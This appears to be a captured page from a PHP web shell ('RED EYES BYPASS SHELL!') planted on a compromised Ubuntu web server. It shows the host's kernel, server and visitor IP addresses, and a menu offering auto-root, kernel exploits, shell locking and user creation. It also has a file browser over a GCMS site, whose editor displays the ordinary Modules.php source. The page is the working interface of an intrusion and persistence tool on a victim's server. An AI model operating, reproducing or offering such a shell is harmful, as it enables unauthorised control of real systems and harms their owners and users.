Linux sothorn202 5.15.0-164-generic #174-Ubuntu SMP Fri Nov 14 20:25:16 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 202.28.82.202 | : 216.73.216.9
pkexec version 0.105
Cant Read [ /etc/named.conf ]
iqtd
RED EYES BYPASS SHELL!
Terminal
Auto Root
Adminer
Backdoor Destroyer
Kernel Exploit
Lock Shell
Lock File
Create User
+ Create Folder
+ Create File
/
home /
lifelonglearn /
commert /
accout /
Gcms /
[ HOME SHELL ]
NAME
SIZE
PERMISSION
ACTION
Api.php
2.52
KB
-rwxr-xr-x
Category.php
6.81
KB
-rwxr-xr-x
Config.php
8.44
KB
-rwxr-xr-x
Controller.php
5.07
KB
-rwxr-xr-x
Line.php
5.56
KB
-rwxr-xr-x
Login.php
13.95
KB
-rwxr-xr-x
Modules.php
3.03
KB
-rwxr-xr-x
Router.php
1.05
KB
-rwxr-xr-x
View.php
4.57
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Modules.php
<?php /** * @filesource Gcms/Modules.php * * @copyright 2016 Goragod.com * @license https://www.kotchasan.com/license/ * * @see https://www.kotchasan.com/ */ namespace Gcms; /** * Config Class สำหรับ GCMS * * @author Goragod Wiriya <admin@goragod.com> * * @since 1.0 */ class Modules extends \Kotchasan\KBase { /** * Singleton สำหรับเรียกใช้ class นี้เพียงครั้งเดียวเท่านั้น * * @var static */ private static $instance = null; /** * @var array */ private $modules = array(); /** * ไดเร็คทอรี่ของโมดูล * * @var string */ private $dir; /** * ตรวจสอบโมดูลที่ติดตั้งแล้ว */ private function __construct() { if (!empty(self::$cfg->modules)) { foreach (self::$cfg->modules as $module => $published) { if ($published) { $this->modules[] = $module; } } } $this->dir = ROOT_PATH.'modules/'; $f = @opendir($this->dir); if ($f) { while (false !== ($text = readdir($f))) { if (!preg_match('/\.|index|css|js|v[0-9]+/', $text) && is_dir($this->dir.$text)) { if (!in_array($text, $this->modules) && !isset(self::$cfg->modules[$text])) { $this->modules[] = $text; } } } closedir($f); } } /** * โหลดโมดูลที่ติดตั้งแล้วทั้งหมด * * @return \static */ public static function create() { if (null === self::$instance) { self::$instance = new static(); } return self::$instance; } /** * คืนค่าชื่อโมดูลทั้งหมดที่ติดตั้งแล้ว * * @return array */ public function get() { return $this->modules; } /** * คืนค่า $className ทั้งหมดของโมดูลที่ติดตั้งแล้ว * * @param string $className ชื่อคลาสที่ต้องการ เช่น Init * * @return array */ public function getControllers($className) { $result = array(); $file = strtolower($className); foreach ($this->modules as $module) { if (is_file($this->dir.$module.'/controllers/'.$file.'.php')) { require_once $this->dir.$module.'/controllers/'.$file.'.php'; $result[] = '\\'.ucfirst($module).'\\'.$className.'\Controller'; } } return $result; } /** * คืนค่าไดเร็คทอรี่โมดูล * * @return string */ public function getDir() { return $this->dir; } }
Close